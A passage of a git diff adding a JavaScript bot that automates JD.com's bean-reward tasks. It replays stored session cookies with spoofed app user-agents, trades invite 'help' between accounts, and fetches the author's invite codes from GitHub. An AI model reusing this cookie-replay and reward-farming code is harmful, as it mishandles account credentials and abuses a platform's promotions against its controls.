e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_bean_home.js b/backUp/jd_bean_home.js new file mode 100644 index 0000000000..bd8bd62786 --- /dev/null +++ b/backUp/jd_bean_home.js @@ -0,0 +1,1058 @@ +/* +领京豆额外奖励&抢京豆 +活动入口:京东APP首页-领京豆 +============Quantumultx=============== +[task_local] +#领京豆额外奖励 +10 0,12,22 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, tag=领京豆额外奖励, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_bean_home.png, enabled=true + +================Loon============== +[Script] +cron "10 0,12,22 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, tag=领京豆额外奖励 + +===============Surge================= +领京豆额外奖励 = type=cron,cronexp="10 0,12,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js + +============小火箭========= +领京豆额外奖励 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, cronexpr="10 0,12,22 * * *", timeout=3600, enable=true + */ +const $ = new Env('领京豆额外奖励'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +const helpAuthor = true; // 是否帮助作者助力,false打开通知推送,true关闭通知推送 +let cookiesArr = [], cookie = '', uuid = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + $.newShareCodes = [] + $.authorCode = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateBeanHome.json') + if (!$.authorCode) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateBeanHome.json'}).then((resp) => { + }).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + $.authorCode = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateBeanHome.json') || [] + } + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + uuid = randomString() + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdBeanHome(); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ($.newShareCodes.length > 1) { + console.log(`\n【抢京豆】 ${$.UserName} 去助力排名第一的cookie`); + // let code = $.newShareCodes[(i + 1) % $.newShareCodes.length] + // await help(code[0], code[1]) + let code = $.newShareCodes[0]; + if (code[2] && code[2] === $.UserName) { + //不助力自己 + } else { + await help(code[0], code[1]); + } + } + for (let j = 1; j < $.newShareCodes.length && $.canHelp; j++) { + let code = $.newShareCodes[j]; + if (code[2] && code[2] === $.UserName) { + //不助力自己 + } else { + console.log(`【抢京豆】${$.UserName} 去助力账号 ${j + 1}`); + await help(code[0], code[1]); + await $.wait(2000); + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdBeanHome() { + try { + $.doneState = false + do { + await doTask2() + await $.wait(3000) + } while (!$.doneState) + await $.wait(1000) + await award("feeds") + await $.wait(1000) + await getUserInfo() + await $.wait(1000) + await getTaskList(); + await receiveJd2(); + + await beanTaskList(1) + await $.wait(1000) + await queryCouponInfo() + $.doneState = false + let num = 0 + do { + await $.wait(2000) + await beanTaskList(2) + num++ + } while (!$.doneState && num < 5) + await $.wait(2000) + if ($.doneState) await beanTaskList(3) + + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +// 升级领京豆任务 +async function beanTaskList(type) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanTaskList', {"viewChannel": "myjd"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanTaskList API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (type) { + case 1: + console.log(`当前等级:${data.data.curLevel} 下一级可领取:${data.data.nextLevelBeanNum || 0}京豆`) + if (data.data.viewAppHome) { + if (!data.data.viewAppHome.takenTask) { + console.log(`去做[${data.data.viewAppHome.mainTitle}]`) + await beanHomeIconDoTask({"flag": "0", "viewChannel": "myjd"}) + } + await $.wait(2000) + if (!data.data.viewAppHome.doneTask) { + console.log(`去领奖[${data.data.viewAppHome.mainTitle}]`) + await beanHomeIconDoTask({"flag": "1", "viewChannel": "AppHome"}) + } else { + console.log(`[${data.data.viewAppHome.mainTitle}]已做完`) + } + } + break + case 2: + $.doneState = true + let taskInfos = data.data.taskInfos + for (let key of Object.keys(taskInfos)) { + let vo = taskInfos[key] + if (vo.times < vo.maxTimes) { + for (let key of Object.keys(vo.subTaskVOS)) { + let taskList = vo.subTaskVOS[key] + if (taskList.status === 1) { + $.doneState = false + console.log(`去做[${vo.taskName}]${taskList.title || ''}`) + await $.wait(2000) + await beanDoTask({"actionType": 1, "taskToken": `${taskList.taskToken}`}, vo.taskType) + if (vo.taskType === 9 || vo.taskType === 8) { + await $.wait(vo.waitDuration * 1000 || 5000) + await beanDoTask({"actionType": 0, "taskToken": `${taskList.taskToken}`}, vo.taskType) + } + } + } + } + } + break + case 3: + let taskInfos3 = data.data.taskInfos + for (let key of Object.keys(taskInfos3)) { + let vo = taskInfos3[key] + if (vo.times === vo.maxTimes) { + console.log(`[${vo.taskName}]已做完`) + } + } + default: + break + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function beanDoTask(body, taskType) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanDoTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (body.actionType === 1 && (taskType !== 9 && taskType !== 8)) { + if (data.code === "0" && data.data.bizCode === "0") { + console.log(`完成任务,获得+${data.data.score}成长值`) + } else { + console.log(`完成任务失败:${data}`) + } + } + if (body.actionType === 0) { + if (data.code === "0" && data.data.bizCode === "0") { + console.log(data.data.bizMsg) + } else { + console.log(`完成任务失败:${data}`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function beanHomeIconDoTask(body) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanHomeIconDoTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanHomeIconDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (body.flag === "0" && data.data.taskResult) { + console.log(data.data.remindMsg) + } + if (body.flag === "1" && data.data.taskResult) { + console.log(data.data.remindMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function queryCouponInfo() { + return new Promise(async resolve => { + $.get(taskBeanUrl('queryCouponInfo', {"rnVersion": "4.7", "fp": "-1", "shshshfp": "-1", "shshshfpa": "-1", "referUrl": "-1", "userAgent": "-1", "jda": "-1"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} queryCouponInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.couponTaskInfo) { + if (!data.data.couponTaskInfo.awardFlag) { + console.log(`去做[${data.data.couponTaskInfo.taskName}]`) + await sceneGetCoupon() + } else { + console.log(`[${data.data.couponTaskInfo.taskName}]已做完`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function sceneGetCoupon() { + return new Promise(resolve => { + $.get(taskBeanUrl('sceneGetCoupon', {"rnVersion": "4.7", "fp": "-1", "shshshfp": "-1", "shshshfpa": "-1", "referUrl": "-1", "userAgent": "-1", "jda": "-1"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sceneGetCoupon API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0' && data.data && data.data.bizMsg) { + console.log(data.data.bizMsg) + } else { + console.log(`完成任务失败:${data}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function randomString() { + return Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) +} + +function getRandomInt(min, max) { + min = Math.ceil(min); + max = Math.floor(max); + return Math.floor(Math.random() * (max - min)) + min; +} + +function doTask2() { + return new Promise(resolve => { + const body = {"awardFlag": false, "skuId": `${getRandomInt(10000000, 20000000)}`, "source": "feeds", "type": '1'}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0' && data.data) { + console.log(`任务完成进度:${data.data.taskProgress}/${data.data.taskThreshold}`) + if (data.data.taskProgress === data.data.taskThreshold) + $.doneState = true + } else if (data.code === '0' && data.errorCode === 'HT201') { + $.doneState = true + } else { + //HT304风控用户 + $.doneState = true + console.log(`做任务异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, {agent}) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.post(taskUrl('signBeanGroupStageIndex', 'body'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.jklInfo) { + $.actId = data.data.jklInfo.keyId + let {shareCode, groupCode} = data.data + if (!shareCode) { + console.log(`未获取到助力码,去开团`) + await hitGroup() + } else { + console.log(shareCode, groupCode) + // 去做逛会场任务 + if (data.data.beanActivityVisitVenue && data.data.beanActivityVisitVenue.taskStatus === '0') { + await help(shareCode, groupCode, 1) + } + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 抢京豆邀请码:${shareCode}\n`); + $.newShareCodes.push([shareCode, groupCode, $.UserName]) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function hitGroup() { + return new Promise(resolve => { + const body = {"activeType": 2,}; + $.get(taskGetUrl('signGroupHit', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.respCode === "SG150") { + let {shareCode, groupCode} = data.data.signGroupMain + if (shareCode) { + $.newShareCodes.push([shareCode, groupCode, $.UserName]) + console.log('开团成功') + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 抢京豆邀请码:${shareCode}\n`); + await help(shareCode, groupCode, 1) + } else { + console.log(`为获取到助力码,错误信息${JSON.stringify(data.data)}`) + } + } else { + console.log(`开团失败,错误信息${JSON.stringify(data.data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function help(shareCode, groupCode, isTask = 0) { + return new Promise(resolve => { + const body = { + "activeType": 2, + "groupCode": groupCode, + "shareCode": shareCode, + "activeId": $.actId, + }; + if (isTask) { + console.log(`【抢京豆】做任务获取助力`) + body['isTask'] = "1" + } else { + console.log(`【抢京豆】去助力好友${shareCode}`) + body['source'] = "guest" + } + $.get(taskGetUrl('signGroupHelp', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`【抢京豆】${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0') { + console.log(`【抢京豆】${data.data.helpToast}`) + } + if (data.code === '0' && data.data && data.data.respCode === 'SG209') { + $.canHelp = false; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getTaskList() { + return new Promise(resolve => { + const body = {"rnVersion": "4.7", "rnClient": "2", "source": "AppHome"}; + $.post(taskUrl('findBeanHome', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let beanTask = data.data.floorList.filter(vo => vo.floorName === "种豆得豆定制化场景")[0] + if (!beanTask.viewed) { + await receiveTask() + await $.wait(3000) + } + + let tasks = data.data.floorList.filter(vo => vo.floorName === "赚京豆")[0]['stageList'] + for (let i = 0; i < tasks.length; ++i) { + const vo = tasks[i] + if (vo.viewed) continue + await receiveTask(vo.stageId, `4_${vo.stageId}`) + await $.wait(3000) + } + await award() + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveTask(itemId = "zddd", type = "3") { + return new Promise(resolve => { + const body = {"awardFlag": false, "itemId": itemId, "source": "home", "type": type}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`完成任务成功,进度${data.data.taskProgress}/${data.data.taskThreshold}`) + } else { + console.log(`完成任务失败,${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function award(source = "home") { + return new Promise(resolve => { + const body = {"awardFlag": true, "source": source}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`领奖成功,获得 ${data.data.beanNum} 个京豆`) + message += `领奖成功,获得 ${data.data.beanNum} 个京豆\n` + } else { + console.log(`领奖失败,${data.errorMessage}`) + // message += `领奖失败,${data.errorMessage}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveJd2() { + var headers = { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167515 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'Cookie': cookie + }; + var dataString = 'body=%7B%7D&build=167576&client=apple&clientVersion=9.4.3&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=10&screen=1242%2A2208&sign=19c33b5b9ad4f02c53b6040fc8527119&st=1614701322170&sv=122' + var options = { + url: 'https://api.m.jd.com/client.action?functionId=sceneInitialize', + headers: headers, + body: dataString + }; + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0' && data['data']) { + console.log(`强制开启新版领京豆成功,获得${data['data']['sceneLevelConfig']['beanNum']}京豆\n`); + $.msg($.name, '', `强制开启新版领京豆成功\n获得${data['data']['sceneLevelConfig']['beanNum']}京豆`); + } else { + console.log(`强制开启新版领京豆结果:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskGetUrl(function_id, body) { + return { + url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&clientVersion=9.2.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + } + } +} + +function taskBeanUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&clientVersion=10.0.8&uuid=${uuid}&openudid=${uuid}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + "Referer": "https://h5.m.jd.com/" + } + } +} + +function taskUrl(function_id, body) { + body["version"] = "9.0.0.1"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = {url: `http://${h}/v1/scripting/evaluate`, body: {script_text: t, mock_type: "cron", timeout: r}, headers: {"X-Key": o, Accept: "*/*"}}; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && 